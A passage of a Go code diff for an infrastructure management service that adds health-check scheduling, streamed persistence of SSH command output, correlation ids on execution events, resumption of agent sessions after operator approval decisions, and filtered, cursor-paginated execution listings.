AND (cd.last_run_at IS NULL
|
||||
OR cd.last_run_at <= now() - make_interval(secs => cd.interval_s))
|
||||
`
|
||||
|
||||
type ListEnabledCheckDefsRow struct {
|
||||
@@ -714,6 +720,9 @@ type ListEnabledCheckDefsRow struct {
|
||||
// =====================================================================
|
||||
// Phase 3 queries
|
||||
// =====================================================================
|
||||
// Enabled AND due. interval_s used to be selected but never filtered on, so
|
||||
// every check ran on every 30s pass and the declared intervals meant nothing.
|
||||
// NULL last_run_at = never run = due now.
|
||||
func (q *Queries) ListEnabledCheckDefs(ctx context.Context) ([]ListEnabledCheckDefsRow, error) {
|
||||
rows, err := q.db.Query(ctx, listEnabledCheckDefs)
|
||||
if err != nil {
|
||||
@@ -1126,6 +1135,20 @@ func (q *Queries) ListSkills(ctx context.Context, status *string) ([]Skill, erro
|
||||
return items, nil
|
||||
}
|
||||
|
||||
const markCheckRun = `-- name: MarkCheckRun :exec
|
||||
UPDATE check_defs SET last_run_at = now(), last_health = $2 WHERE entity_id = $1
|
||||
`
|
||||
|
||||
type MarkCheckRunParams struct {
|
||||
EntityID uuid.UUID
|
||||
LastHealth *string
|
||||
}
|
||||
|
||||
func (q *Queries) MarkCheckRun(ctx context.Context, arg MarkCheckRunParams) error {
|
||||
_, err := q.db.Exec(ctx, markCheckRun, arg.EntityID, arg.LastHealth)
|
||||
return err
|
||||
}
|
||||
|
||||
const putIdempotentResponse = `-- name: PutIdempotentResponse :exec
|
||||
INSERT INTO idempotency_keys (actor, key, request_hash, response_code, response_body)
|
||||
VALUES ($1, $2, $3, $4, $5)
|
||||
@@ -1447,3 +1470,25 @@ func (q *Queries) UpsertSignal(ctx context.Context, arg UpsertSignalParams) (Sig
|
||||
)
|
||||
return i, err
|
||||
}
|
||||
|
||||
const worstHealthForTarget = `-- name: WorstHealthForTarget :one
|
||||
SELECT COALESCE(
|
||||
(SELECT last_health FROM check_defs
|
||||
WHERE enabled AND target_id = $1 AND last_health IS NOT NULL
|
||||
ORDER BY CASE last_health
|
||||
WHEN 'down' THEN 0 WHEN 'degraded' THEN 1 WHEN 'stale' THEN 2
|
||||
WHEN 'unknown' THEN 3 ELSE 4 END
|
||||
LIMIT 1),
|
||||
'unknown')::text AS health
|
||||
`
|
||||
|
||||
// An entity is as healthy as its unhealthiest check. Checks that have not run
|
||||
// yet (last_health IS NULL) are ignored rather than counted as unknown, so a
|
||||
// newly added check does not drag a known-good entity down before it has
|
||||
// produced a verdict.
|
||||
func (q *Queries) WorstHealthForTarget(ctx context.Context, targetID *uuid.UUID) (string, error) {
|
||||
row := q.db.QueryRow(ctx, worstHealthForTarget, targetID)
|
||||
var health string
|
||||
err := row.Scan(&health)
|
||||
return health, err
|
||||
}
|
||||
|
||||
@@ -19,7 +19,8 @@ func LoadTypeTree(ctx context.Context, tx pgx.Tx) (*ontology.TypeTree, error) {
|
||||
}
|
||||
|
||||
rows, err := tx.Query(ctx,
|
||||
`SELECT name, COALESCE(parent_type,''), is_abstract, COALESCE(lifecycle_id,'')
|
||||
`SELECT name, COALESCE(parent_type,''), is_abstract, COALESCE(lifecycle_id,''),
|
||||
layer, monitoring_spec
|
||||
FROM entity_types`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("load entity_types: %w", err)
|
||||
@@ -27,10 +28,16 @@ func LoadTypeTree(ctx context.Context, tx pgx.Tx) (*ontology.TypeTree, error) {
|
||||
for rows.Next() {
|
||||
var name string
|
||||
var info ontology.TypeInfo
|
||||
if err := rows.Scan(&name, &info.Parent, &info.IsAbstract, &info.LifecycleID); err != nil {
|
||||
// NULL monitoring_spec means the type declared nothing; '[]' means it
|
||||
// declared "explicitly unmonitorable". Scanning through a pointer is
|
||||
// what keeps those two apart — see ontology.TypeTree.Monitoring.
|
||||
var monitoring *[]string
|
||||
if err := rows.Scan(&name, &info.Parent, &info.IsAbstract, &info.LifecycleID,
|
||||
&info.Layer, &monitoring); err != nil {
|
||||
rows.Close()
|
||||
return nil, err
|
||||
}
|
||||
info.Monitoring = monitoring
|
||||
t.Types[name] = info
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
135
internal/execlog/execlog.go
Normal file
135
internal/execlog/execlog.go
Normal file
@@ -0,0 +1,135 @@
|
||||
// Package execlog persists incremental command output for an execution and
|
||||
// announces it on the event stream.
|
||||
//
|
||||
// It exists as its own package because both SSH execution paths need it —
|
||||
// internal/mcp (the agent's auto-run windows) and internal/httpapi (the
|
||||
// post-approval actuator). Those two already carry near-identical copies of
|
||||
// sshExec, and every bug found in this area so far has been a case of the two
|
||||
// copies drifting apart; one shared sink is the cheap way not to repeat that.
|
||||
package execlog
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// eventInterval throttles execution.output events. Chunks are persisted as
|
||||
// they arrive, but a chatty command (apt, a long build) can produce hundreds
|
||||
// per second and the SSE broker drops events for slow subscribers — flooding
|
||||
// it would push out the signal.* and approval.* events that actually need to
|
||||
// arrive. The event is only a "there is more output" ping; subscribers re-read
|
||||
// the rows.
|
||||
const eventInterval = time.Second
|
||||
|
||||
// Sink receives output chunks as they arrive from a remote command.
|
||||
type Sink func(stream string, chunk []byte)
|
||||
|
||||
// New returns a Sink that writes chunks to execution_logs and emits a
|
||||
// throttled execution.output event, plus a Flush to call when the command
|
||||
// finishes.
|
||||
//
|
||||
// The returned Sink is safe for concurrent use: stdout and stderr are written
|
||||
// from separate goroutines.
|
||||
func New(ctx context.Context, pool *db.Pool, execID uuid.UUID, correlationID string) (Sink, func()) {
|
||||
var (
|
||||
mu sync.Mutex
|
||||
seq int
|
||||
lastEvent time.Time
|
||||
pending bool
|
||||
)
|
||||
|
||||
emit := func() {
|
||||
if err := observability.Event(ctx, sqlcgen.New(pool), "execution.output", &execID,
|
||||
"info", "actuator", correlationID, map[string]any{"execution_id": execID.String()}); err != nil {
|
||||
slog.Debug("execlog: emit output event", "error", err, "execution_id", execID)
|
||||
}
|
||||
}
|
||||
|
||||
sink := func(stream string, chunk []byte) {
|
||||
if len(chunk) == 0 {
|
||||
return
|
||||
}
|
||||
mu.Lock()
|
||||
seq++
|
||||
n := seq
|
||||
mu.Unlock()
|
||||
|
||||
// A failed log write must never fail the command: this is observability,
|
||||
// and the authoritative output still lands in executions.result at the
|
||||
// end. Log and carry on.
|
||||
if _, err := pool.Exec(ctx,
|
||||
`INSERT INTO execution_logs (execution_id, seq, stream, chunk)
|
||||
VALUES ($1, $2, $3, $4)`,
|
||||
execID, n, stream, string(chunk)); err != nil {
|
||||
slog.Debug("execlog: persist chunk", "error", err, "execution_id", execID)
|
||||
return
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
due := time.Since(lastEvent) >= eventInterval
|
||||
if due {
|
||||
lastEvent = time.Now()
|
||||
pending = false
|
||||
} else {
|
||||
pending = true
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
if due {
|
||||
emit()
|
||||
}
|
||||
}
|
||||
|
||||
// Flush emits a final event when output arrived inside the throttle window,
|
||||
// so the last few lines of a short command are not left unannounced.
|
||||
flush := func() {
|
||||
mu.Lock()
|
||||
due := pending
|
||||
pending = false
|
||||
mu.Unlock()
|
||||
if due {
|
||||
emit()
|
||||
}
|
||||
}
|
||||
|
||||
return sink, flush
|
||||
}
|
||||
|
||||
// Read returns an execution's persisted output in order.
|
||||
func Read(ctx context.Context, pool *db.Pool, execID uuid.UUID, limit int) ([]Chunk, error) {
|
||||
if limit <= 0 {
|
||||
limit = 1000
|
||||
}
|
||||
rows, err := pool.Query(ctx,
|
||||
`SELECT seq, stream, chunk, ts FROM execution_logs
|
||||
WHERE execution_id = $1 ORDER BY seq LIMIT $2`, execID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []Chunk
|
||||
for rows.Next() {
|
||||
var c Chunk
|
||||
if err := rows.Scan(&c.Seq, &c.Stream, &c.Chunk, &c.TS); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, c)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// Chunk is one persisted slice of command output.
|
||||
type Chunk struct {
|
||||
Seq int `json:"seq"`
|
||||
Stream string `json:"stream"`
|
||||
Chunk string `json:"chunk"`
|
||||
TS time.Time `json:"ts"`
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
@@ -9,10 +10,12 @@ import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/google/uuid"
|
||||
"golang.org/x/crypto/ssh"
|
||||
@@ -71,7 +74,35 @@ func initSSH() {
|
||||
// report. Generous enough for a real apt/docker install; not infinite.
|
||||
const sshExecTimeout = 10 * time.Minute
|
||||
|
||||
// streamWriter buffers everything it is given while forwarding each write to a
|
||||
// sink. One on session.Stdout and another sharing the same buffer on
|
||||
// session.Stderr reproduces CombinedOutput's interleaving in the order the
|
||||
// remote end produced it. Mirrors the twin in internal/mcp/server.go.
|
||||
type streamWriter struct {
|
||||
mu *sync.Mutex
|
||||
buf *bytes.Buffer
|
||||
stream string
|
||||
sink execlog.Sink
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
w.mu.Lock()
|
||||
w.buf.Write(p)
|
||||
w.mu.Unlock()
|
||||
if w.sink != nil {
|
||||
// Copy: the ssh library reuses p once Write returns.
|
||||
w.sink(w.stream, append([]byte(nil), p...))
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
return sshExecStream(ctx, host, user, command, nil)
|
||||
}
|
||||
|
||||
// sshExecStream runs a command and reports its combined output, forwarding
|
||||
// each chunk to sink as it arrives. A nil sink behaves exactly as before.
|
||||
func sshExecStream(ctx context.Context, host, user, command string, sink execlog.Sink) (string, error) {
|
||||
initSSH()
|
||||
if len(_sshKey) == 0 {
|
||||
return "", fmt.Errorf("no SSH key available")
|
||||
@@ -105,50 +136,62 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
type result struct {
|
||||
out []byte
|
||||
err error
|
||||
var (
|
||||
mu sync.Mutex
|
||||
buf bytes.Buffer
|
||||
)
|
||||
session.Stdout = &streamWriter{mu: &mu, buf: &buf, stream: "stdout", sink: sink}
|
||||
session.Stderr = &streamWriter{mu: &mu, buf: &buf, stream: "stderr", sink: sink}
|
||||
|
||||
collected := func() string {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return strings.TrimSpace(buf.String())
|
||||
}
|
||||
done := make(chan result, 1)
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
// See internal/mcp/server.go's sshExec for why this recovers rather
|
||||
// than letting a rare SSH-library panic crash the whole api process.
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
||||
done <- fmt.Errorf("panic in ssh exec: %v", r)
|
||||
}
|
||||
}()
|
||||
out, err := session.CombinedOutput(command)
|
||||
done <- result{out, err}
|
||||
// Run rather than CombinedOutput so the assigned writers are used;
|
||||
// Run returns only after both streams are fully drained.
|
||||
done <- session.Run(command)
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-done:
|
||||
text := strings.TrimSpace(string(r.out))
|
||||
case err := <-done:
|
||||
text := collected()
|
||||
// A non-zero exit MUST surface as an error. The previous guard only
|
||||
// errored when there was no output, so a `pct create` that printed
|
||||
// "CT 132 already exists" and exited non-zero was reported as
|
||||
// success — the execution was marked completed though nothing was
|
||||
// provisioned.
|
||||
if r.err != nil {
|
||||
if err != nil {
|
||||
if text != "" {
|
||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
||||
return text, fmt.Errorf("%w: %s", err, text)
|
||||
}
|
||||
return text, fmt.Errorf("exec: %w", r.err)
|
||||
return text, fmt.Errorf("exec: %w", err)
|
||||
}
|
||||
return text, nil
|
||||
case <-time.After(sshExecTimeout):
|
||||
// Close the session/client to hang up the remote side; the
|
||||
// goroutine above will eventually exit once that unblocks
|
||||
// CombinedOutput, but we don't wait for it — the caller needs an
|
||||
// answer now, not an indefinite hang.
|
||||
// goroutine above will eventually exit once that unblocks Run, but we
|
||||
// don't wait for it — the caller needs an answer now, not an
|
||||
// indefinite hang.
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
// Return what arrived before it hung, rather than "". A provisioning
|
||||
// command that stalls halfway is precisely when its output matters.
|
||||
return collected(), fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
case <-ctx.Done():
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", ctx.Err()
|
||||
return collected(), ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -231,7 +274,16 @@ func emitExecutionEvent(ctx context.Context, pool *db.Pool, execID uuid.UUID, st
|
||||
if status == "failed" {
|
||||
severity = "warning"
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", "", detail)
|
||||
// The correlation id was hardcoded to "", so execution events could not be
|
||||
// tied back to the session that caused them — the one join you want when
|
||||
// asking "what did this agent turn actually do?". It is already on the
|
||||
// execution row; read it rather than threading it through eleven callers.
|
||||
var correlationID string
|
||||
if err := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, execID).Scan(&correlationID); err != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", correlationID, detail)
|
||||
if status == "completed" || status == "failed" || status == "cancelled" {
|
||||
closePlanStepForExecution(ctx, pool, execID, status)
|
||||
}
|
||||
@@ -280,6 +332,29 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
action, params := actionStr[:idx], actionStr[idx+1:]
|
||||
|
||||
startedAt := time.Now()
|
||||
// Persist started_at now, not at the end. It was captured here but only
|
||||
// written in the terminal UPDATE, so a running execution reported
|
||||
// started_at = NULL for its entire life — the UI could not show how long
|
||||
// anything had been going, which is exactly when you want to know.
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status = 'running', started_at = $2 WHERE entity_id = $1`,
|
||||
execID, startedAt); err != nil {
|
||||
slog.Error("httpapi: mark execution running", "error", err, "execution_id", execID)
|
||||
}
|
||||
|
||||
// Stream output for the actions whose output an operator actually watches:
|
||||
// a long apt upgrade, a pct create, an arbitrary approved `run`. The small
|
||||
// internal lookups further down (listing template cache, pvesh nextid) stay
|
||||
// unstreamed — they are plumbing, and logging them would bury the command
|
||||
// the operator approved.
|
||||
var correlationID string
|
||||
if qerr := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, execID).Scan(&correlationID); qerr != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
sink, flushLogs := execlog.New(ctx, pool, execID, correlationID)
|
||||
defer flushLogs()
|
||||
|
||||
var output, cmd string
|
||||
|
||||
switch action {
|
||||
@@ -295,30 +370,30 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
default:
|
||||
cmd = fmt.Sprintf("systemctl %s %s 2>&1", params, svc)
|
||||
}
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||
|
||||
case "apt_upgrade":
|
||||
svc := strings.TrimPrefix(targetSlug, "lxc:")
|
||||
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||
|
||||
case "pct_create":
|
||||
var cfg struct {
|
||||
VMID int `json:"vmid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Cores int `json:"cores"`
|
||||
Memory int `json:"memory"`
|
||||
DiskGB int `json:"disk_gb"`
|
||||
IP string `json:"ip"`
|
||||
GW string `json:"gw"`
|
||||
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||
Storage string `json:"storage"`
|
||||
Template string `json:"template"`
|
||||
Privileged flexBool `json:"privileged"`
|
||||
Nesting flexBool `json:"nesting"`
|
||||
Mounts []string `json:"mounts"`
|
||||
Nameserver string `json:"nameserver"`
|
||||
Searchdomain string `json:"searchdomain"`
|
||||
VMID int `json:"vmid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Cores int `json:"cores"`
|
||||
Memory int `json:"memory"`
|
||||
DiskGB int `json:"disk_gb"`
|
||||
IP string `json:"ip"`
|
||||
GW string `json:"gw"`
|
||||
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||
Storage string `json:"storage"`
|
||||
Template string `json:"template"`
|
||||
Privileged flexBool `json:"privileged"`
|
||||
Nesting flexBool `json:"nesting"`
|
||||
Mounts []string `json:"mounts"`
|
||||
Nameserver string `json:"nameserver"`
|
||||
Searchdomain string `json:"searchdomain"`
|
||||
// No services/post_install here anymore — pct_create is atomic
|
||||
// (create + start + register only). Installing packages and
|
||||
// running setup scripts is the agent's job via follow-up `run`
|
||||
@@ -504,7 +579,7 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
}
|
||||
|
||||
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
|
||||
output, err = sshExec(ctx, host, user, createCmd)
|
||||
output, err = sshExecStream(ctx, host, user, createCmd, sink)
|
||||
|
||||
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
|
||||
// nothing else. It used to also run apt installs and a post_install
|
||||
@@ -579,7 +654,7 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
return
|
||||
}
|
||||
cmd = wrap(cfg.Command)
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||
|
||||
default:
|
||||
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
|
||||
|
||||
@@ -229,6 +229,33 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
||||
}
|
||||
|
||||
// If this execution belongs to a nomos session, flip it out of
|
||||
// awaiting_input — the counterpart to classifyAndGate flipping it IN
|
||||
// the moment the approval was created (internal/mcp/server.go's
|
||||
// markSessionAwaitingApproval). Runs for all three decisions (approve/
|
||||
// deny/revoke): each one is an operator answer to "what do I do about
|
||||
// this?", same as answerQuestion's unconditional resume-to-executing
|
||||
// (cmd/nomos/store.go) for a session_questions answer.
|
||||
var awaitingSessionID string
|
||||
_ = tx.QueryRow(ctx, `
|
||||
SELECT pe.session_id FROM nomos_plan_executions pe
|
||||
JOIN executions ex ON ex.entity_id = pe.execution_id
|
||||
WHERE ex.approval_id = $1
|
||||
LIMIT 1`, id).Scan(&awaitingSessionID)
|
||||
if awaitingSessionID != "" {
|
||||
if rtag, rerr := tx.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = 'executing', last_active_at = now()
|
||||
WHERE id = $1 AND status = 'awaiting_input'`, awaitingSessionID); rerr == nil && rtag.RowsAffected() > 0 {
|
||||
var taskEntID *uuid.UUID
|
||||
var e uuid.UUID
|
||||
if qerr := tx.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, awaitingSessionID).Scan(&e); qerr == nil && e != uuid.Nil {
|
||||
taskEntID = &e
|
||||
}
|
||||
_ = observability.Event(ctx, q, "task.status", taskEntID, "info", "api", awaitingSessionID,
|
||||
map[string]any{"status": "executing", "reason": "approval_decided", "decision": status})
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
20
internal/httpapi/audit.go
Normal file
20
internal/httpapi/audit.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/dtoro/oikos/internal/audit"
|
||||
)
|
||||
|
||||
// serveAuditDrift returns a read-only DB-side drift report: orphan check
|
||||
// entities, checks on retired targets, probes stuck down/unknown, unmonitored
|
||||
// declared types, and dangling edges. Companion to the knowledge-graph-audit
|
||||
// skill. Live-infra discovery (pct/docker/certs) is a follow-up.
|
||||
func (s *Server) serveAuditDrift(w http.ResponseWriter, req *http.Request) {
|
||||
findings, summary := audit.Report(req.Context(), s.pool)
|
||||
writeJSON(w, map[string]any{
|
||||
"findings": findings,
|
||||
"summary": summary,
|
||||
"note": "read-only DB drift report; live-infra discovery (pct/docker/certs) is a follow-up",
|
||||
})
|
||||
}
|
||||
@@ -22,7 +22,7 @@ func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject
|
||||
SELECT cd.entity_id, e.slug, cd.kind,
|
||||
COALESCE(te.slug, '') AS target_slug, cd.target_type,
|
||||
cd.config, cd.interval_s, cd.timeout_s, cd.zone, cd.enabled,
|
||||
e.version
|
||||
e.version, cd.last_health, cd.last_run_at
|
||||
FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
LEFT JOIN entities te ON te.id = cd.target_id
|
||||
@@ -43,10 +43,19 @@ func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject
|
||||
var c gen.Check
|
||||
var targetSlug string
|
||||
var configBytes []byte
|
||||
// last_health is what turns a check list from configuration into an
|
||||
// explanation: an entity's health is the worst of these, so this is
|
||||
// the field that says which probe is responsible.
|
||||
var lastHealth *string
|
||||
if err := rows.Scan(&c.Id, &c.Slug, &c.Kind, &targetSlug, &c.TargetType,
|
||||
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version); err != nil {
|
||||
&configBytes, &c.IntervalS, &c.TimeoutS, &c.Zone, &c.Enabled, &c.Version,
|
||||
&lastHealth, &c.LastRunAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if lastHealth != nil {
|
||||
h := gen.CheckLastHealth(*lastHealth)
|
||||
c.LastHealth = &h
|
||||
}
|
||||
if targetSlug != "" {
|
||||
c.Target = &targetSlug
|
||||
}
|
||||
@@ -285,6 +294,15 @@ func checkDefToGen(cd sqlcgen.CheckDef) gen.Check {
|
||||
if len(cd.Config) > 0 && json.Unmarshal(cd.Config, &config) == nil && len(config) > 0 {
|
||||
c.Config = &config
|
||||
}
|
||||
// Carried through so toggling a check does not blank its verdict in the
|
||||
// UI — the entity window renders last_health to explain which probe is
|
||||
// responsible for an entity's health, and a patch response missing it
|
||||
// would erase that until the next poll.
|
||||
c.LastRunAt = cd.LastRunAt
|
||||
if cd.LastHealth != nil {
|
||||
h := gen.CheckLastHealth(*cd.LastHealth)
|
||||
c.LastHealth = &h
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
|
||||
@@ -4,10 +4,30 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/dtoro/oikos/internal/checkdefaults"
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
func ensureDefaultChecks(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType string, attrsJSON []byte) {
|
||||
checkdefaults.Ensure(ctx, tx, entityID, slug, entityType, attrsJSON)
|
||||
// ensureDefaultChecks derives an entity's default checks from the monitoring
|
||||
// kinds its type declares.
|
||||
//
|
||||
// Note the ordering caveat: an entity created through the API usually has no
|
||||
// edges yet, so a type whose address comes from its host (a service) will
|
||||
// produce no checks on this pass. That gap is real and deliberately visible —
|
||||
// coverageSweep reports it, and the next inventory ingest fills it in once
|
||||
// the hosting edge exists.
|
||||
func ensureDefaultChecks(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType, name string, attrsJSON []byte) error {
|
||||
tree, err := db.LoadTypeTree(ctx, tx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
res, err := checkdefaults.Ensure(ctx, tx, tree, checkdefaults.Target{
|
||||
ID: entityID, Slug: slug, Type: entityType, Name: name, Attrs: attrsJSON,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
checkdefaults.LogResult(slug, entityType, res)
|
||||
return nil
|
||||
}
|
||||
|
||||
55
internal/httpapi/execution_logs.go
Normal file
55
internal/httpapi/execution_logs.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// serveExecutionLogs returns an execution's streamed command output.
|
||||
//
|
||||
// Registered as a carve-out rather than through the OpenAPI codegen for the
|
||||
// same reason as /activity/recent: it is a recency-ordered projection with no
|
||||
// schema type yet. Without this the execution_logs rows would be write-only —
|
||||
// which is the exact shape of the bugs this whole change set has been about.
|
||||
func (s *Server) serveExecutionLogs(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rawID := chi.URLParam(req, "id")
|
||||
execID, err := uuid.Parse(rawID)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid execution id", rawID)
|
||||
return
|
||||
}
|
||||
|
||||
limit := 1000
|
||||
if l := req.URL.Query().Get("limit"); l != "" {
|
||||
if n, perr := strconv.Atoi(l); perr == nil && n > 0 && n <= 5000 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
|
||||
chunks, err := execlog.Read(ctx, s.pool, execID, limit)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Also hand back the concatenation, since that is what a caller tailing
|
||||
// output actually wants to render.
|
||||
var combined strings.Builder
|
||||
for _, c := range chunks {
|
||||
combined.WriteString(c.Chunk)
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"items": chunks,
|
||||
"combined": combined.String(),
|
||||
})
|
||||
}
|
||||
@@ -4,6 +4,8 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/domain"
|
||||
@@ -15,8 +17,22 @@ import (
|
||||
|
||||
// ─── Executions ────────────────────────────────────────────────────────
|
||||
|
||||
// ListExecutions returns executions newest-first.
|
||||
//
|
||||
// The target/action/correlation_id filters are declared in the OpenAPI spec and
|
||||
// generated into the request struct, but were never bound — so
|
||||
// `GET /executions?target=<id>` silently returned the first page of the whole
|
||||
// fleet. Ordering was by target slug, which is neither useful for a history
|
||||
// view nor unique enough to paginate on: several executions share a target, so
|
||||
// a slug cursor could skip or repeat rows.
|
||||
func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsRequestObject) (gen.ListExecutionsResponseObject, error) {
|
||||
limit := clampLimit(req.Params.Limit)
|
||||
|
||||
cursorTime, cursorID, err := parseExecutionCursor(req.Params.Cursor)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||
e.target_entity_id, e.action, e.risk_class,
|
||||
@@ -27,10 +43,18 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
||||
FROM executions e
|
||||
JOIN entities te ON te.id = e.target_entity_id
|
||||
WHERE ($1::text IS NULL OR e.status = $1)
|
||||
AND ($2::text IS NULL OR te.slug > $2)
|
||||
ORDER BY te.slug
|
||||
LIMIT $3`,
|
||||
req.Params.Status, req.Params.Cursor, limit+1)
|
||||
-- target accepts a slug or a uuid: the SPA passes an entity id,
|
||||
-- while a human poking the API reaches for the slug.
|
||||
AND ($2::text IS NULL OR te.slug = $2 OR e.target_entity_id::text = $2)
|
||||
-- the run tool encodes action as "run:{json}", so match the verb too
|
||||
AND ($3::text IS NULL OR e.action = $3 OR split_part(e.action, ':', 1) = $3)
|
||||
AND ($4::text IS NULL OR e.correlation_id = $4)
|
||||
AND ($5::timestamptz IS NULL
|
||||
OR (e.created_at, e.entity_id) < ($5::timestamptz, $6::uuid))
|
||||
ORDER BY e.created_at DESC, e.entity_id DESC
|
||||
LIMIT $7`,
|
||||
